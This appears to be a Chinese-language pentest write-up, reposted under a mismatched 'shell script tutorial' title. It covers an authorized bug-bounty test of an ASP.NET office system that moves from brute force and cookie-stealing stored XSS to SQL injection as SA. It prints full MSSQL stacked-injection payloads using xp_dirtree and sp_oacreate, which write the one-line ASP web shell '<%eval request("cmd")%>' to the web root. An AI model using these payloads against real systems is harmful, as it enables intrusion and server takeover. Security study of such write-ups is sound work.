tft每日頭條

 > 生活

 > shell腳本教學

shell腳本教學

生活 更新时间:2024-11-29 14:56:22

嚴正聲明

截至發稿前,已将漏洞提交廠商并驗證其已完成修複。本文僅限于技術讨論與分享,嚴禁用于非法途徑。若讀者因此作出任何危害網絡安全行為後果自負,與本号及原作者無關。筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天網安實驗室及原作者無關,本文為合天網安實驗室原創,如需轉載,請注明出處!

前言

本文為記錄實戰過程中遇到的問題及思考,旨在思路分享及自我總結。文中涉及目标站點為SRC授權站點,為防止漏打碼已對實際鍊接進行了部分删減,如去除了鍊接目錄名等。整個測試過程涉及未授權訪問、暴力破解、存儲型XSS、SQL注入,到最後拿shell,過程略微曲折。

信息收集

打開目标站點,為系統登錄界面。安裝VNC遠程協助鍊接到内網地址,經測試登錄無驗證碼及失敗次數鎖定,可嘗試暴力破解,此處先做信息收集。

shell腳本教學(記錄又一次實戰GetShell)1

shell腳本教學(記錄又一次實戰GetShell)2

目标站點:http://1.2.3.4/login.aspx腳本:aspx,通過登錄頁面可知;服務器:IIS7.5,通過404、403報錯頁面可得;數據庫:可能為SQL Server,常見組合;

安全防護:未知,對IP進行端口掃描會封一段時間,但測試and 1=1不攔,無WAF或未開啟嚴格的防護策略;

通過查看返回包,發現Server為nginx/1.17.2,判斷應該存在反向代理。

shell腳本教學(記錄又一次實戰GetShell)3

暴力破解

通過對現有信息的分析,優先選擇暴力破解,系統首頁登錄為密碼md5前端加密後傳輸,此處爆破需選擇burp的HASH-MD5後進行爆破。系統登錄失敗返回信息都為“登錄失敗xxx”,無法确認是否存在用戶。

shell腳本教學(記錄又一次實戰GetShell)4

shell腳本教學(記錄又一次實戰GetShell)5

shell腳本教學(記錄又一次實戰GetShell)6

查看頁面源碼發現存在http://1.2.3.4/client/此頁面未對密碼進行md5加密,即首頁:http://1.2.3.4/ 密碼加密後傳輸Client:http://1.2.3.4/client/ 密碼明文傳輸

shell腳本教學(記錄又一次實戰GetShell)7

shell腳本教學(記錄又一次實戰GetShell)8

此處用http://1.2.3.4/client/ 進行爆破,不需要進行MD5加密可提高效率,但使用name500及自定義字典,包括常見測試賬号,及3位數字,4位數字,5位數字等組成5000多個用戶名,爆破密碼123456、888888、111111,結果一個都沒爆破到。

當時的思路是先确定用戶名,例如工号等,再去爆破其中存在弱口令的賬号,并未想着直接爆破admin,因為那時覺得後台可能不在這裡登錄,現在想想也可以直接盲爆admin用戶。

所以那時先收集用戶名,使用Google語法,Site:xxx 工号,但并沒有收獲。針對隻有登錄界面的系統,隻有掌握了用戶名的規律,才能提高爆破的機率,此處很有可能是工号。用戶名收集無果,便打開了目錄掃描,看看有無敏感信息。

未授權訪問

通過對站點進行目錄掃描,存在以下目錄及文件。

shell腳本教學(記錄又一次實戰GetShell)9

main.aspx訪問彈登陸超時,跳轉登陸界面,禁用js返回頁面如下:

shell腳本教學(記錄又一次實戰GetShell)10

逐一進行訪問:css.aspx訪問彈出登陸超時,跳轉登陸界面,禁用js訪問空白;reg.aspx訪問為軟件注冊頁面;

shell腳本教學(記錄又一次實戰GetShell)11

查看源碼,發現存在main_d.aspx如下:

shell腳本教學(記錄又一次實戰GetShell)12

禁用js訪問main_d.aspx返回以下頁面:

shell腳本教學(記錄又一次實戰GetShell)13

繼續查看源碼,發現以下地址通過對站點進行目錄掃描,存在以下目錄及文件。

shell腳本教學(記錄又一次實戰GetShell)14

禁用js訪問http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12點擊修改,此處已測試id不存在SQL注入。

shell腳本教學(記錄又一次實戰GetShell)15

shell腳本教學(記錄又一次實戰GetShell)16

該頁面存在大量附件,其中有體檢附件登記表,點擊下載鍊接如下:

shell腳本教學(記錄又一次實戰GetShell)17

點擊下載跳轉登陸界面

shell腳本教學(記錄又一次實戰GetShell)18

此處感覺是有任意文件下載,但可能需要登錄,後續爆破出賬戶後可測試。http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls

需下載文件,嘗試構造http://1.2.3.4/file/liaotian/201922xx.xls

shell腳本教學(記錄又一次實戰GetShell)19

shell腳本教學(記錄又一次實戰GetShell)20

如上獲取到該單位的員工工号,使用excel生成工号列表進行暴力破解。

登錄系統

上述已獲取工号組合,生成01111-05555進行爆破,使用密碼123456、111111、888888、123qwe、qwe123、123123、123321。當使用密碼123321時,成功爆破出一個弱口令用戶。

shell腳本教學(記錄又一次實戰GetShell)21

使用該賬号登錄系統

shell腳本教學(記錄又一次實戰GetShell)22

系統功能模塊較多,測試前面的文件下載http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls

shell腳本教學(記錄又一次實戰GetShell)23

嘗試下載web.confighttp://1.2.3.4/file_down.aspx?number=web.config

shell腳本教學(記錄又一次實戰GetShell)24

測試不存在任意文件下載,修改文件後是直接Location到文件,從而下載,後續對系統的功能點逐個進行測試。

文件上傳

後台功能主要存在以下4個上傳點。上傳點1-印章上傳:

shell腳本教學(記錄又一次實戰GetShell)25

上傳點2-郵件附件:

shell腳本教學(記錄又一次實戰GetShell)26

上傳點3-頭像上傳

shell腳本教學(記錄又一次實戰GetShell)27

上傳點4:KindEditor 4.1.10 編輯器,貌似無解。上傳點1,文件上傳後的路徑為:/seal/2021815238.png此目錄未限制禁止腳本執行,但無法上傳腳本文件,嘗試繞過均失敗。

shell腳本教學(記錄又一次實戰GetShell)28

上傳點2,文件上傳後的路徑為:/file/emailfile/2021081523.png

此目錄限制了腳本執行,即/file目錄下不能執行腳本文件。

此上傳點可上傳aspx等文件,但上傳後後綴為.unknow

後續通過注入點發現上傳後綴寫在數據庫中,可以通過update語句增加後綴,但并無跨目錄的方法,即使上傳了aspx腳本文件,也無法執行。

上傳文件後截圖如下:

shell腳本教學(記錄又一次實戰GetShell)29

後續查看數據庫,允許上傳的文件後綴如下:

shell腳本教學(記錄又一次實戰GetShell)30

上傳點3,任意文件上傳,上傳後路徑為/SystemManage/User/file/ 下,測試目錄限制腳本執行,無法跨目錄。

shell腳本教學(記錄又一次實戰GetShell)31

存儲型XSS

上面針對後台上傳功能測試後無法上傳getshell,便考慮是否能找到高權限賬号,管理員賬号可能有修改上傳文件格式的權限。

此時測試郵件存在存儲型XSS,發送郵件可以打用戶cookie。

發送郵件給自己,收件箱打開時:

shell腳本教學(記錄又一次實戰GetShell)32

可以給管理員發送帶XSS的郵件,當管理員打開郵件時,即可以獲取管理員的cookie,此處配合server醬,可實現獲取cookie後微信提醒通知,同樣發送郵件給自己測試。

編寫郵件,插入XSS平台payload。

shell腳本教學(記錄又一次實戰GetShell)33

收件箱點開後

shell腳本教學(記錄又一次實戰GetShell)34

微信收到Server醬通知

shell腳本教學(記錄又一次實戰GetShell)35

shell腳本教學(記錄又一次實戰GetShell)36

登錄XSS平台查看,成功獲取用戶cookie信息

shell腳本教學(記錄又一次實戰GetShell)37

此處構造好XSS後,給管理員發送了标題為【問題建議】的郵件,增加管理員打開的概率,即打開郵件可獲取管理員的cookie。

shell腳本教學(記錄又一次實戰GetShell)38

同時在郵件選擇收件人處,發現組織架構處,可列舉所有用戶的工号、科室、姓名信息。

shell腳本教學(記錄又一次實戰GetShell)39

故可以收集用戶工号,此處發現管理員即為admin,在等待xss的同時,也構造字典對admin進行爆破。

shell腳本教學(記錄又一次實戰GetShell)40

然後竟然成功爆破出了admin的密碼,看了下密碼在“全國弱口令TOP1000”中沒有,如果一開始就爆破admin,可能也爆不出來,個人習慣是爆TOP1000,當初也确定不了管理員就是admin。

此處也說明有一個強字典是多麼的重要。

shell腳本教學(記錄又一次實戰GetShell)41

使用admin登錄系統後,隻多了以下兩個功能模塊,很失望并沒有可以修改上傳設置的功能。

shell腳本教學(記錄又一次實戰GetShell)42

測試發現登錄管理員也并沒啥用,還是無法getshell,既然上傳無門,那就尋找注入點,如果是sa的注入點則getshell的機率大很多。

SQL注入

于是又重新回到後台各個功能點進行測試,經過一番測試終于發現了一個注入點,鍊接如下:測試1=1頁面正常

shell腳本教學(記錄又一次實戰GetShell)43

測試1=2頁面異常

shell腳本教學(記錄又一次實戰GetShell)44

爆數據庫版本信息

shell腳本教學(記錄又一次實戰GetShell)45

如上确認存在SQL注入,使用sqlmap進行利用,當前用戶為SA。

shell腳本教學(記錄又一次實戰GetShell)46

測試使用—os-shell命令失敗,可能是有安全設備攔截。

shell腳本教學(記錄又一次實戰GetShell)47

此時也對數據庫的大緻表進行查看,發現了管理後台某個點的文件上傳格式可在數據庫設置後綴,但無法跨目錄,故即使能上傳腳本也無法getshell。

Getshell

經手工測試注入點支持堆疊注入,此處嘗試使用sp_oacreate寫馬,SQL如下:declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'

但需知道網站根目錄,此處可以使用xp_dirtree進行目錄遍曆,SQL如下:create table dirs(subdirectory varchar(255),depth int, filee int);insert dirs exec xp_dirtree 'c:\',1,1

建立表後,先執行以下查詢,此處為查詢c盤目錄下的文件夾及文件:http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414

shell腳本教學(記錄又一次實戰GetShell)48

頁面返回正常,則語句執行成功,再去sqlmap查詢dirs表下的内容,即為c盤的目錄内容:

shell腳本教學(記錄又一次實戰GetShell)49

利用上述方式成功找到網站根目錄為d:\OA\ 下。執行SQL語句寫入文件shell.aspdeclare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'

打開鍊接:http://1.2.3.4/shell.asp 空白,中國菜刀連接成功。

shell腳本教學(記錄又一次實戰GetShell)50

上傳冰蠍,後續可以進行socks代理,從而進入内網。

shell腳本教學(記錄又一次實戰GetShell)51

通過systeminfo收集系統信息,可用于後續提權。

shell腳本教學(記錄又一次實戰GetShell)52

以上成功獲得目标站點shell。

總結

滲透測試很多時候需要的細心和耐心再加上一點運氣,當我們在後台無法getshell時,可以嘗試去找後台的SQL注入,高權限的注入點可以直接寫shell。

又或者當我們有一個SQL注入點卻沒法寫shell時,可以嘗試讀管理員賬号密碼,登錄後台測試是否有文件上傳漏洞,從而進行拿shell。關注不同的漏洞危害,并進行組合利用,往往可以達到出其不意的效果。

至此全篇完,感謝閱讀,希望您能從中有所收獲。

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved